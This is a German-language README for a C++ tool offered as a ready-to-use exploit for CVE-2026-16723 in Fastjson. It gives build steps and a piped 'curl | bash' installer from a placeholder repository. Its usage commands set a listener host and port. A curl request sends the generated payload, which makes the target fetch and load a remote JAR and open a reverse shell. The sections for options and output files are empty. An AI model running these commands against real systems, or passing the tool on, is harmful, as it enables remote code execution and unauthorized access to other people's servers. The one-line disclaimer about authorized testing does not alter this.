CVE-2026-16723 Exploit

Eine eigenständige C++17-Implementierung für CVE-2026-16723, eine kritische Sicherheitslücke, die Fastjson-Versionen 1.2.68 – 1.2.83 betrifft.

Anforderungen

• Linux (oder WSL unter Windows)

• C++17-kompatibler Compiler (GCC 7+ oder Clang 5+)

• CMake 3.10 oder neuer

• Systempakete:

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

Installation

Schnellinstallation (Empfohlen)

Alles mit einem einzigen Befehl installieren:

curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash

Oder laden Sie das Installationsskript manuell herunter und führen Sie es aus:

wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

Das Installationsskript übernimmt Folgendes:

• Alle erforderlichen Systempakete installieren.

• Die erforderlichen Header-only-Bibliotheken herunterladen:

  • nlohmann/json
  • cpp-httplib

• Das Projekt kompilieren.

• Die kompilierte Binärdatei im aktuellen Verzeichnis ablegen als:

./exploit

Manueller Build

Wenn Sie das Repository geklont haben:

git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

Oder manuell kompilieren:

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

Verwendung

Führen Sie die Binärdatei aus:

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

Beispiel

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

Nach der Ausführung werden die folgenden Dateien erstellt:

x
body.json

Der HTTP-Server startet auf dem konfigurierten Port (Standard: 8000) und das Tool wartet auf eine eingehende Reverse-Shell-Verbindung.

Senden des Payloads

Senden Sie die generierte Datei body.json an den verwundbaren Endpunkt:

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

Falls die Anwendung ein anderes JSON-Feld erwartet, geben Sie es mit der Option --field an.

Befehlszeilenoptionen

Ausgabedateien

Hinweise

• Dieses Projekt ist ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken gedacht.
• Die Implementierung zwingt die Zielanwendung, ein entferntes JAR über die Protokolle jar:http und jar:file herunterzuladen und zu laden.
• Der Reverse-Shell-Befehl ist Base64-kodiert, um Probleme mit dem Escaping zu reduzieren.

Folgen Sie mir auf Twitter(X)

• MNM